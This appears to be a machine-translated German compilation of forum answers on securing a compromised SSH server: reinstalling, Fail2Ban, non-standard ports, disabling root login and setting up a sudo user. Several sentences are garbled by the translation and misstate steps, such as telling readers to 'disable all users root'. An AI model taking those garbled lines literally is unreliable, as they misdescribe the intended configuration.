Wie andere bereits sagten, ist es ziemlich klar, dass die Sicherheit Ihres Servers gefährdet ist. Am sichersten ist es, diese Maschine zu löschen und erneut zu installieren.

Um den zweiten Teil Ihrer Frage zu beantworten: Wenn Sie die Authentifizierung mit öffentlichem Schlüssel nicht verwenden können, empfehle ich mindestens Fail2Ban einzurichten und SSH auf einem nicht standardmäßigen Port auszuführen. Ich deaktiviere auch den Root-SSH-Zugriff.

Fail2Ban trägt dazu bei, Brute-Force-Angriffe abzufedern, indem IP-Adressen gesperrt werden, die sich bei einer bestimmten Anzahl von Anmeldungen nicht anmelden.

Wenn Sie sshd so einstellen, dass ein nicht standardmäßiger Port überwacht wird, kann dies zumindest die Sichtbarkeit Ihres SSH-Servers etwas beeinträchtigen. Durch die Deaktivierung der Root-Anmeldung wird auch das Angriffsprofil geringfügig reduziert. Im /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Wenn der root-Login deaktiviert ist, müssen Sie entweder mit root nach root wechseln su Sobald Sie verbunden sind oder (vorzugsweise) verwenden sudo privilegierte Befehle ausführen.

SSH-Server werden im Internet ständig angegriffen. Ein paar Dinge, die Sie tun:

1. Stellen Sie sicher, dass Sie ein überaus sicheres Zufallskennwort für Computer mit Internetzugriff verwenden. Ich meine wie 16 oder mehr Zeichen und völlig zufällig. Verwenden Sie einen Passwort-Manager, damit Sie ihn nicht merken müssen. Wenn Sie sich Ihr Passwort merken können, ist es zu einfach.

2. Wenn Sie SSH nicht benötigen, schalten Sie es aus. Wenn Sie es benötigen, aber nicht öffentlich zugänglich sind, führen Sie es an einer hohen, nicht standardmäßigen Portnummer aus. Dadurch werden Hack-Versuche drastisch reduziert. Ja, ein dedizierter Hacker kann einen Port-Scan durchführen, aber automatisierte Bots finden ihn nicht.

Der Ausschnitt aus Ihrem Authentifizierungsprotokoll zeigt einen fehlgeschlagenen Versuch an. Wenn Sie jedoch weiter suchen, wird zweifellos ein erfolgreiches Login angezeigt. Wenn Sie ein einfaches Passwort verwenden, ist es für einen Bot ganz einfach, reinzukommen.

Sie müssen dieses System vom Netzwerk trennen. Holen Sie sehr sorgfältig heraus, was Sie brauchen, und wischen Sie es dann ab.

Nach dem Einrichten eines Linux / Unix-Servers, der direkt vor dem Computer steht, sollte jeder sofort alle Benutzer deaktivieren root.

Ihr System wurde gefährdet. Sie haben ein laufendes Protokoll, das sich bis zu einem gewissen Grad sehen lassen kann. Aber ehrlich gesagt, die Besonderheiten zu analysieren, ist ein bisschen wählerisch und hilft Ihnen nicht, Ihren Server abzusichern. Es zeigt alle Arten von Unsinn, die auftreten, wenn aus dem Botnet Malware erzeugt wird - was höchstwahrscheinlich das, was Ihren Server infiziert hat - ein Linux-System infiziert. Das Antwort von @MariusMatutiae ist schön und gut durchdacht und es gibt andere, die wiederholen, dass Sie über gehackt wurden root Zugriff, der ein feuchter Traum von Malware / Botnet ist.

Es gibt einige Erklärungen zum Deaktivieren root Ich werde jedoch aus eigener Erfahrung sagen, dass alles, was über das hinausgeht, was ich jetzt beschreiben werde, übertrieben ist. Das bist du sollte haben Sie getan, als Sie den Server zum ersten Mal eingerichtet haben:

1. Erstellen Sie einen neuen Benutzer mit sudo Rechte: Erstellen Sie einen neuen Benutzer mit einem neuen Namen cooldude - Mit einem Befehl wie sudo adduser cooldude wenn Sie Ubuntu oder ein anderes Debian-System verwenden. Dann bearbeiten Sie einfach das sudo Datei mit einem Befehl wie diesem sudo nano /etc/sudoers und fügen Sie eine Zeile wie cooldude ALL=(ALL:ALL) ALL unter der entsprechenden Zeile, die gelesen werden sollte root ALL=(ALL:ALL) ALL. Wenn dies erledigt ist, melden Sie sich als an cooldude und teste das sudo Befehl mit einem Befehl wie sudo w Etwas grundlegend und zerstörungsfrei, um zu sehen, ob die sudo Rechte arbeiten. Sie werden möglicherweise zur Eingabe eines Kennworts aufgefordert. Das funktioniert? Alles gut! Fahren Sie mit dem nächsten Schritt fort.
2. Schließ das root Konto: Okay, jetzt das cooldude ist verantwortlich mit sudo Rechte, Login als cooldude Führen Sie diesen Befehl aus, um das Root-Konto zu sperren sudo passwd -l root. Wenn Sie irgendwie ein SSH-Schlüsselpaar für erstellt haben root, aufmachen /root/.ssh/authorized_keys und entfernen Sie die Schlüssel. Oder noch besser, benennen Sie diese Datei einfach um authorized_keys_OFF so was, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF um die SSH-Schlüssel effektiv zu deaktivieren. Ich bevorzuge das spätere, da Sie bei der nächsten Gelegenheit immer noch ein Kennwort benötigen, um sich anzumelden. Sie können die Datei einfach wieder auf den ursprünglichen Namen verschieben, und Sie sollten sich gut fühlen.

FWIW, ich habe im Laufe der Jahre (Jahrzehnte?) Dutzende von Linux-Servern verwaltet und weiß aus Erfahrung, dass dies einfach deaktiviert wird root —Und Einrichten eines neuen Benutzers mit sudo Rechte - ist die einfachste und grundlegendste Art, Linux-Systeme zu schützen. Ich habe mich nie mit SSH befassen müssen root ist behindert. Und ja, Sie sehen möglicherweise Anmeldeversuche über die auth.log aber sie sind bedeutungslos; ob root ist deaktiviert, dann werden diese Versuche niemals zu etwas summieren. Lehnen Sie sich einfach zurück und schauen Sie zu, wie die Versuche endlos scheitern!